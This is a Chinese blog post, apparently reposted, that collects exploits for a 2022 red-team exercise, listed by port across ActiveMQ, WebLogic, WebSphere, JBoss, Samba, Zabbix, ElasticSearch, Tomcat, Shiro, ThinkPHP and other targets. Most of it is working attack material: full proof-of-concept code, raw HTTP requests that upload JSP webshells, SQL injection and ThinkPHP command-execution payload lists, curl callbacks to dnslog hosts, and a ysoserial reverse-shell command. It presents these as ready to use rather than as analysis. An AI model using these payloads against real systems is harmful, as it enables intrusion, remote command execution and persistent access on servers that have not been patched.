【HVV2022】攻防演练重点端口漏洞全复现(终章)

admin 2022年7月9日12:14:01评论395 views字数 19652阅读65分30秒阅读模式

0x01 前言

本文是接着上一篇【HVV2022】攻防演练重点端口漏洞全复现(一)写的,本系列不会对漏洞进行深度分析,而是为了快速POC找到漏洞,更好的划水,全文近万字,建议收藏。

0x02 反序列化篇

61616/8161端口

CVE-2015-5254(ActiveMQ

ActiveMQ是JAVA的消息中间件,会开放两个端口,一个是工作端口(61616),消息通过这个端口传递,另一个是WEB管理页面的端口(8161)

影响版本Apache ActiveMQ 5.x-5.13.0
资产表123.58.224.8 Linux靶机 映射端口:32529:61616 (该exp利用工作端口)          32530:8161

下载工具jmet

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

然后直接exp,测试curl dnslog,看看能否命令执行成功

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "curl 7n0xxe.dnslog.cn-Yp ROME 123.58.224.8 32529

可以看到成功返回结果了,说明存在命令执行

【HVV2022】攻防演练重点端口漏洞全复现(终章)

7001/7002端口

CVE-2021-2394(weblogic)

影响范围 : Oracle WebLogic Server 10.3.6.0.0Oracle WebLogic Server 12.1.3.0.0Oracle WebLogic Server 12.2.1.3.0Oracle WebLogic Server 12.2.1.4.0Oracle WebLogic Server 14.1.1.0.0

如果想批量测试cve-2021以下的weblogic反序列化漏洞,我推荐这个工具:

https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828

PS:我用GOBY没有扫出相关漏洞,以后记得用多款漏扫工具多试试。如果工具没有探测出来,怎么确认漏洞?直接域名后门加/console,打开后台,就会显示版本号。

【HVV2022】攻防演练重点端口漏洞全复现(终章)

POC工具下载:

https://github.com/Zard-ethan/JNDI-Injection-Exploit-1.0-SNAPSHOT-allhttps://github.com/lz2y/CVE-2021-2394/releases/tag/2.0

启动一个LDAP服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl xxx.dnslog.cn" -A 192.168.206.140#-C [执行的命令] -A [开启ldap服务的ip]

【HVV2022】攻防演练重点端口漏洞全复现(终章)

直接EXP

用法:java -jar CVE_2021_2394.jar rhost rport ldapurl示例:java -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/Exploit

dnslog能收到数据,表示利用成功

9090端口

CVE-2020-4450(WebSphere)

此漏洞是由IIOP协议上的反序列化造成,所以我们本地需要起一个IIOP客户端来向WebSphere发送请求从而触发漏洞。

构造恶意的反序列化数据,通过iiop发送到WebSphere服务器,当目标服务器解析反序列化数据,会触发恶意代码执行

影响范围WebSphere Application Server 9.0.0.0 - 9.0.5.4WebSphere Application Server 8.5.0.0 - 8.5.5.17

POC如下:

#testpublic class Test {public static void main(String[] args) throws Exception {Properties env = new Properties();env.put(Context.PROVIDER_URL, "iiop://169.254.0.117:2809");env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");InitialContext context = new InitialContext(env);context.list("");Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");f_defaultInitCtx.setAccessible(true);WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");f_context.setAccessible(true);CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");f_corbaNC.setAccessible(true);_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");f__delegate.setAccessible(true);ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");f_ior.setAccessible(true);IOR ior = (IOR) f_ior.get(clientDelegate);Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");f_orb.setAccessible(true);ORB orb = (ORB) f_orb.get(clientDelegate);GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, com.ibm.rmi.Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);getConnection.setAccessible(true);Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "beijixiong404");Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);setConnectionContexts.setAccessible(true);ArrayList v4 = new ArrayList();WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");fieldEjbObject.setAccessible(true);fieldEjbObject.set(wsifPort_ejb,new EJSWrapperS());CDROutputStream outputStream = ORB.createCDROutputStream();outputStream.putEndian();Any any = orb.create_any();any.insert_Value(wsifPort_ejb);PropagationContext propagationContext = new PropagationContext(0,new TransIdentity(null,null, new otid_t(0,0,new byte[0])),new TransIdentity[0],any);PropagationContextHelper.write(outputStream,propagationContext);byte[] result = outputStream.toByteArray();ServiceContext serviceContext = new ServiceContext(0, result);v4.add(serviceContext);setConnectionContexts.invoke(connection, v4);context.list("");}}class EJSWrapperS extends EJSWrapper {@Overridepublic Handle getHandle() throws RemoteException {Handle var2 = null;try {SessionHome sessionHome = new SessionHome();J2EEName j2EEName = new J2EENameImpl("aa", "aa", "aa");Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");j2eeName.setAccessible(true);j2eeName.set(sessionHome, j2EEName);Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");jndiName.setAccessible(true);jndiName.set(sessionHome, "rmi://169.254.0.117:1099/poc");Serializable key = ""a".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")";BeanId beanId = new BeanId(sessionHome, key, true);BeanMetaData beanMetaData = new BeanMetaData(1);beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;Properties initProperties = new Properties();initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);c.setAccessible(true);var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);} catch (Exception e) {e.printStackTrace();}return var2;}}
#rmi serverpublic class RmiServer {     public static void main(String[] args) throws Exception {          Registry registry = LocateRegistry.createRegistry(1097);          Reference ref = new Reference(WSIFServiceObjectFactory.class.getName(), null, null);          ref.add(new StringRefAddr("wsdlLoc", "http://192.168.211.1:9999/poc.wsdl"));          ref.add(new StringRefAddr("serviceNS", null));          ref.add(new StringRefAddr("serviceName", null));          ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));          ref.add(new StringRefAddr("portTypeName", "Gadget"));          ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));          ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);          registry.bind("poc", referenceWrapper);      }  }
#wsdl文件<?xml version="1.0" ?> <definitions targetNamespace="http://wsifservice.addressbook/"               xmlns:tns="http://wsifservice.addressbook/"               xmlns:xsd="http://www.w3.org/1999/XMLSchema"               xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"               xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"               xmlns="http://schemas.xmlsoap.org/wsdl/">      <!-- type defs -->      <!-- message declns -->      <message name="findByPrimaryKeyRequest">          <part name="el" type="xsd:string"/>      </message>      <message name="findByPrimaryKeyResponse">          <part name="counterObject" type="xsd:object"/>      </message>      <!-- port type declns -->      <portType name="Gadget">          <operation name="findByPrimaryKey">              <input message="findByPrimaryKeyRequest"/>              <output message="findByPrimaryKeyResponse"/>          </operation>      </portType>      <!-- binding declns -->      <binding name="JavaBinding" type="tns:Gadget">          <java:binding/>          <format:typeMapping encoding="Java" style="Java">              <format:typeMap typeName="xsd:string" formatType="java.lang.String"/>              <format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>          </format:typeMapping>          <operation name="findByPrimaryKey">              <java:operation                  methodName="eval"                  parameterOrder="el"                  methodType="instance"                  returnPart="counterObject"              />          </operation>      </binding>      <!-- service decln -->      <service name="GadgetService">          <port name="JavaPort" binding="tns:JavaBinding">              <java:address className="javax.el.ELProcessor"/>          </port>      </service>  </definitions>

8000端口

CVE-2017-12149(JBOSS)

漏洞出现的原因是JBOSS因为/invoker/readonly的过滤器没有写好

需要用到的工具:

https://github.com/frohoff/ysoserial

先生成利用链

java -jar ysoserial.jar CommonsCollections6 "curl 7gtumj.dnslog.cn" > poc.ser

【HVV2022】攻防演练重点端口漏洞全复现(终章)

然后直接exp

curl http://192.168.206.209:30502/invoker/readonly --data-binary @poc.ser

【HVV2022】攻防演练重点端口漏洞全复现(终章)

可以看到dnslog传来数据,说明利用成功

【HVV2022】攻防演练重点端口漏洞全复现(终章)

0x03 远程代码/命令执行篇

3389端口

CVE-2019-0708(RDP)

影响版本Windows 7、Windows Server 2008 R2、Windows Server 2008、Windows 2003、Windows XP。

这个msf有exp,就不多说了

search 0708use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

【HVV2022】攻防演练重点端口漏洞全复现(终章)

139端口

CVE-2017-7494(samba)

影响版本Samba 3.5.0-4.6.4/4.5.10/4.4.14

可以用Kali自带的msf直接利用

search CVE-2017-7494

【HVV2022】攻防演练重点端口漏洞全复现(终章)

use exploit/linux/samba/is_known_pipename

【HVV2022】攻防演练重点端口漏洞全复现(终章)

set rhost 192.168.206.209set rport 对方samba的端口run

直接反弹shell,执行命令成功

【HVV2022】攻防演练重点端口漏洞全复现(终章)

8069/10050端口

CVE-2020-11800(Zabbix)

影响版本Zabbix 3.0.x~3.0.30

【HVV2022】攻防演练重点端口漏洞全复现(终章)

尝试常见的弱口令

("admin","zabbix"),("Admin","zabbix"),("guest","")

【HVV2022】攻防演练重点端口漏洞全复现(终章)

进去后,选择Configuration->Actions,然后把Event Source改为Auto Registration,点击Create action,创建一个名字随意的action,然后选择Operations,Operation type为Add Host,最后点击上面的Add,再点击下面的Add进行添加

【HVV2022】攻防演练重点端口漏洞全复现(终章)

【HVV2022】攻防演练重点端口漏洞全复现(终章)

【HVV2022】攻防演练重点端口漏洞全复现(终章)

上面是开启了Zabbix的自动注册功能,然后使用下面的POC进行验证,测试dnslog能否收到数据,看看是否存在命令执行

(10051是端口,有些不是默认的,记得修改,脚本用python3运行)

import sysimport socketimport jsonimport sys
def send(ip, data):    conn = socket.create_connection((ip, 10051), 10) conn.send(json.dumps(data).encode()) data = conn.recv(2048) conn.close()    return data    target = sys.argv[1]print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;curl 4t9qmy.dnslog.cn"}))for i in range(10000, 10500): data = send(target, {"request":"command","scriptid":1,"hostid":str(i)}) if data and b'failed' not in data: print('hostid: %d' % i) print(data)

9200/9300端口

CVE-2015-1427(ElasticSearch)

影响版本elasticsearchv1.4:  1.4.2 ,  1.4.1 ,  1.4.0 ,  1.4.0.Beta1v1.3:  1.3.7 ,  1.3.6 ,  1.3.5 ,  1.3.4 ,  1.3.3 ,  1.3.2 ,  1.3.1 ,  1.3.0.

【HVV2022】攻防演练重点端口漏洞全复现(终章)

访问首页,显示JSON内容,可以看到版本号,就知道是存在漏洞的版本

用burpsuite发送如下数据包

POST /website/blog/  HTTP/1.1Host: 192.168.206.209:26668User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Length: 30
{ "name": "guiltyfet"}

【HVV2022】攻防演练重点端口漏洞全复现(终章)

再发个exp数据包,返回命令执行回显

POST /_search?pretty HTTP/1.1Host: 192.168.206.209:26668Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/textContent-Length: 490
{ "size":1, "script_fields": { "test#": { "script":
"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getInputStream())).readLines()",
"lang": "groovy" } }
}

【HVV2022】攻防演练重点端口漏洞全复现(终章)

3128/3312端口

CVE-2019-12526(squid)

用nmap扫描可以出squid的版本,直接可确认是否为漏洞版本

影响版本Squid 3.xSquidSquid 3.5.28 Squid 4.xSquidSquid 4.8

squid的exp我在exploit-db和github都没找到,但是可以讲讲squid基本渗透流程

msf搜索利用

search squid

【HVV2022】攻防演练重点端口漏洞全复现(终章)

直接在Kali下用searchsploit命令搜索exp,然后修改exp脚本,一个个试

searchsploit squid

【HVV2022】攻防演练重点端口漏洞全复现(终章)

因为squid是代理服务器,所以我们接下来需要通过msf的扫描器,找到其代理的页面,设置完参数后直接run命令运行

use auxiliary/scanner/http/squid_pivot_scanning

由于搭靶场太繁琐,我直接引用CSDN博主[江左盟宗主]的图片

扫描发现,开启了80端口

【HVV2022】攻防演练重点端口漏洞全复现(终章)

要打开被代理的页面,需要设置浏览器代理地址为目标主机和squid的端口

设置完游览器代理后,即可打开页面

50000端口

SAP

EXP如下,直接命令执行

http://www.xx.com/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=要执行的命令

9000端口

cve_2019_11043(FastCGI)

利用条件:nginx配置了fastcgi_split_path_infoPHP 5.6-7.x,Nginx>=0.7.31

需要用到以下工具

https://github.com/neex/phuip-fpizdam

下载完后,在该目录执行以下命令,进行编译

go buil

如果Kali编译连不上github,可以用以下命令解决

go env -w GOPROXY=https://goproxy.cn

【HVV2022】攻防演练重点端口漏洞全复现(终章)

然后直接利用

./phuip-fpizdam http://123.58.224.8:37411/index.php

【HVV2022】攻防演练重点端口漏洞全复现(终章)

再打开网页,网址后加参数?a=要执行的命令,发现成功

【HVV2022】攻防演练重点端口漏洞全复现(终章)

5632端口

cve-2011-3478(pcanywhere)

Kali下直接搜索exp,是有的,搭环境麻烦,不复现了

searchsploit pcanywhere

【HVV2022】攻防演练重点端口漏洞全复现(终章)

0x04 注入篇


8096/10050端口

CVE-2016-10134(zabbix)

影响版本zabbix 2.2.x, 3.0.0-3.0.3

有两个页面有sql注入,一个是jsrpc.php,一个是latest.php,他们之间的区别在于,前者不需要任何权限就可以执行,但是后者需要(例如有些zabbix开放了guest

【HVV2022】攻防演练重点端口漏洞全复现(终章)

Payload1:

/latest.php?output.php=ajax&sid=************&favobj=toggle&toggle_open_state=1&toggle_ids=updatexml(0,concat(0xa,database()),0)

登录作为guest后,打开游览器的开发者模式,复制zbx_sessionid的后十六位,粘贴到上面payload的sid参数处

【HVV2022】攻防演练重点端口漏洞全复现(终章)

【HVV2022】攻防演练重点端口漏洞全复现(终章)

以下payload是直接可以利用的

Payload2:

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=updatexml(0,concat(0xa,database()),0)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1

【HVV2022】攻防演练重点端口漏洞全复现(终章)

可以看到,成功有回显

0x05 文件读写篇

61616/8161端口

CVE-2016-3088(ActiveMQ)

影响版本Apache ActiveMQ 5.x ~ 5.14.0

用burpsuite直接PUT上传一个webshell

PUT /fileserver/hacker.jsp  HTTP/1.1Host: 123.58.224.8:15304User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: JSESSIONID=py29tsjnhhlt1juy5okd0tlghAuthorization: Basic YWRtaW46YWRtaW4=Connection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Length: 327
<%@ page import="java.io.*"%><% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); }%>

【HVV2022】攻防演练重点端口漏洞全复现(终章)

返回204就是执行成功,访问该文件,发现没有被解析(这个洞有点鸡肋,访问文件还需要身份验证,要暴力破解账密才能访问,账密一般都是admin)

【HVV2022】攻防演练重点端口漏洞全复现(终章)

我们这时需要知道,有解析jsp文件权限的目录,访问如下网址可以看到

http://123.58.224.8:15304/admin/test/systemProperties.jsp

【HVV2022】攻防演练重点端口漏洞全复现(终章)

在burpsuite里放一个包,move移动webshell

MOVE /fileserver/hacker.jsp  HTTP/1.1Destination: file:///opt/activemq/webapps/admin/1.jspHost: 123.58.224.8:15304User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: JSESSIONID=py29tsjnhhlt1juy5okd0tlghAuthorization: Basic YWRtaW46YWRtaW4=Connection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Length: 327
<%@ page import="java.io.*"%><% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); }%>

【HVV2022】攻防演练重点端口漏洞全复现(终章)

返回204,说明成功

直接访问如下页面,命令执行,说明上传webshell成功

http://123.58.224.8:21773/admin/1.jsp?cmd=id

【HVV2022】攻防演练重点端口漏洞全复现(终章)

8080端口

cve_2017_12615(tomcat)

影响版本Apache Tomcat 7.0.0 – 7.0.79

打开tomcat页面,同时抓包,把GET改为PUT,然后上传地址改为一个jsp文件,内容为一句话木马,如下

PUT /1.jsp/ HTTP/1.1Host: 123.58.224.8:58368Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 57
<%Runtime.getRuntime().exec(request.getParameter("wislab"));%>

上传地址之所以是1.jsp/,是因为直接上传jsp,tomcat会过滤掉,所以我们要进行绕过,有以下几个办法

#Windows不允许文件空格结尾,会自动去除PUT /a001.jsp%20#Linux不允许文件名包含/,会自动去除PUT /a001.jsp/#利用Windows NTFS流绕过PUT /a001.jsp::$DATA

直接访问webshell,发现其并不会回显,所以我们可以借助dnslog,查看是否命令执行成功

【HVV2022】攻防演练重点端口漏洞全复现(终章)

【HVV2022】攻防演练重点端口漏洞全复现(终章)

tomcat除了有PUT上传漏洞,还有幽灵猫漏洞

8009端口

CVE-2020-1938(tomcat-AJP)

影响版本Tomcat 9.x < 9.0.31Tomcat 8.x < 8.5.51Tomcat 7.x < 7.0.100Tomcat 6.x

需要使用到以下工具

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

直接exp

#端口不一定为8009,可能被修改;-f后面接你要读取的文件路径python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 123.58.224.8 -p 8009 -f WEB-INF/web.xml

【HVV2022】攻防演练重点端口漏洞全复现(终章)

0x06 未授权访问/认证绕过篇

未授权访问,推荐[信安之路]写的,已经总结的很全了,就不重复造轮子了

https://mp.weixin.qq.com/s/LsKpM3h4YXs8mUwCGL1xfA

以下讲的都是权限绕过的

5900端口

CVE-2006-2369(VNC)

msf里面有exp,不多讲了

use auxiliary/admin/vnc/realvnc_41_bypass

4848端口

CVE-2011-1511(GlassFish)

POC如下:

#!/usr/bin/env pythonimport sysimport httplib
def make_trace_request(host, port, selector):
print '[*] TRACE request: %s' % selector headers = { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 5.1; Trident/4.0)', 'Host': '%s:%s' % (host, port), 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-us,en;q=0.5', 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Accept-Encoding': 'gzip,deflate', 'Connection': 'close', 'Referer': 'http://%s:%s%s' % (host, port, selector)}
conn = httplib.HTTPConnection(host, port) conn.request('TRACE', selector, headers=headers) response = conn.getresponse() conn.close()
print response.status, response.reason print response.getheaders() print response.read()


if len(sys.argv) != 3: print &quot;Usage: $ python poc.py &lt;GlassFish_IP&gt;&lt;GlassFish_Administration_Port&gt;nE.g: $ python poc.py 192.168.0.1 4848&quot; sys.exit(0)
host = sys.argv[1]port = int(sys.argv[2])make_trace_request(host, port, '/common/logViewer/logViewer.jsf')

0x07 shiro RCE专题

  1. 1.   CVE-2016-4437

    影响版本Apache Shiro <= 1.2.4

打开靶场首页,输入任意凭证(错误的也行),然后burpsuite抓个包,放到Reapter模块看看

【HVV2022】攻防演练重点端口漏洞全复现(终章)

可以看到返回包的Set-Cookie中,存在rememberMe字段,它的值是deleteMe,是因为该凭证出错,没有登录成功,如果是正确的凭证,是没有该值的,但是无论如何,rememberMe是一定存在的,这是shiro框架的特征

既然我们已经知道了这是shiro框架,那么怎么知道存在什么漏洞呢?我一般都是用网上的POC一把梭,这里我推荐【shiro反序列化漏洞综合利用工具】

https://github.com/j1anFen/shiro_attack/releases

【HVV2022】攻防演练重点端口漏洞全复现(终章)


首先要去爆破密钥,至于为什么请看下文的漏洞原理,出密钥后,再选择爆破利用链及回显

【HVV2022】攻防演练重点端口漏洞全复现(终章)

可以看到,已经可以成功执行命令了

  1. 2.   CVE-2020-1957

    影响版本shiro<=1.5.2

打开靶场首页,找到登录界面,像上面一样抓包,不过这里有区别,就是需要登录成功,获得有效会话,生成rememberMe的值

【HVV2022】攻防演练重点端口漏洞全复现(终章)

复制这里rememberMe的值,等会儿要用到。不过在攻击开始之前,我们需要了解shiro550shiro721的概念和区别,否则只会用工具,就是脚本小子了。

CVE-2020-1957俗称shiro721,而刚才的CVE-2016-4437俗称shiro550,它们的区别是shiro721加密采用的是AES-128-CBCshiro550加密采用的是AES-128,多了个CBC模式,攻击方式也有些许差异

CBC模式:分组链接模式,目的是使原本独立的分组密码,在加密过程中形成迭代,每一次加密结果都影响下一次加密,导致密钥碰撞时间变得更久

CBC模式不仅仅运用在AES,其他加密算法如DES也有,但只要是CBC模式加密,就可以用Padding Oracle(填充提示攻击)方式进行攻击

Padding Oracle其中,Padding指的是填充,Oracle指的是提示,顾名思义,就是根据不同的填充FUZZ返回的结果,即解密的类库是否抛出异常提示,来判断密钥是否正确,攻击者可以不断FUZZ密文,让解密程序给出提示来不断修正,最终得到正确的结果【一句话来说就是,通过验证解密时产生的明文,是否符合Padding填充原则,来判断解密是否成功】

如果你还是不理解填充提示攻击,那么就去了解旁路攻击的概念,旁路攻击指的是,绕过对加密算法的复杂分析,而通过运算过程中泄露的信息(如抛出异常)来破解密码

CBC模式和Padding Oracle模式是shiro721漏洞产生的条件,可以利用密码算法进行旁路攻击来破解密钥(但不是对加密算法本身进行破解),因此其攻击方式相对会复杂一点

  • 使用JAVA反序列化工具ysoserical工具生成payload

https://github.com/frohoff/ysoserial

【HVV2022】攻防演练重点端口漏洞全复现(终章)

【HVV2022】攻防演练重点端口漏洞全复现(终章)

java -jar ysoserial.jar CommonsCollections1 'bash -i >& /dev/tcp/ip/port 0>&1' > payload.class

生成反弹shellpayload

  • 通过padding oracle attack poc生成rememberMe Cookie,进行密钥爆破

https://github.com/wuppp/shiro_rce_exp

python2 shiro_rce_exp.py http://网址/account/ rememberMe的值 payload.class

在成功之后,会返回一段cookie值,放到cookie里进行Reapter就好

【HVV2022】攻防演练重点端口漏洞全复现(终章)

漏洞原理:

Shiro RCE主要是因为反序列化漏洞导致的,Shiro在序列化用户身份对象后,对数据采用AES加密,其中密钥为常量,导致只要碰撞出正确的密钥,就可以篡改序列化的数据,改为命令执行的payload

序列化过程:

登录时->序列化用户身份对象(这一步可插入payload->进行AES加密,密钥为常量(这里导致了反序列化漏洞的发生)->Base64加密->将数据设置到Cookie中的RememberMe字段

Shiro反序列化主要分为shiro550CVE-2016-4437)和shiro721CVE-2020-1957

区别在于:

  • 漏洞利用时,721需要有效会话cookie,但550不需要(即不需要登录成功)

  • 它们虽然都是AES加密,但是721多了个CBC模式,意味着密钥的碰撞需要更长时间

Shiro框架特征:

  1. 1.   返回包的Set-Cookie中存在rememberMe字段

  2. 2.   URL位置可能有shiro字符串

0x08 ThinkPHP RCE专题

影响版本ThinkPHP 5.0.x ~ 5.0.23ThinkPHP 5.1.x ~ 5.1.31ThinkPHP 5.2.0beta1

5.1.x payload

?s=index/thinkRequest/input&filter[]=system&data=pwd?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x payload

?s=index/thinkconfig/get&name=database.username // 获取配置信息?s=index/thinkLang/load&file=../../test.jpg    // 包含任意文件?s=index/thinkConfig/load&file=../../t.php     // 包含任意.php文件?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

如果上面的不给力,下面的一个个试就完了

http://php.local/thinkphp5.0.5/public/index.php?s=indexpost_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13POST /?s=index/indexs=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debugPOST /_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captchaPOST /?s=xxx HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

0x09 Struts2 RCE专题

推荐个Struct2批量检测工具,直接收工,兄弟们,拿出枕头,睡就完事了

https://github.com/shack2/Struts2VulsTools/releases/tag/2.3.20190927

看到文末,我想给大家推荐点点师傅的RCE宝典

不得不说,tql!!!

https://mp.weixin.qq.com/s/gtArMfC2Xq9IEpwvu8Sszg

欢迎关注我的公众号:韬光养晦安全
红蓝对抗日常分享,带给你国际安全视野

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月9日12:14:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HVV2022】攻防演练重点端口漏洞全复现(终章)http://cn-sec.com/archives/1168288.html

发表评论

匿名网友 填写信息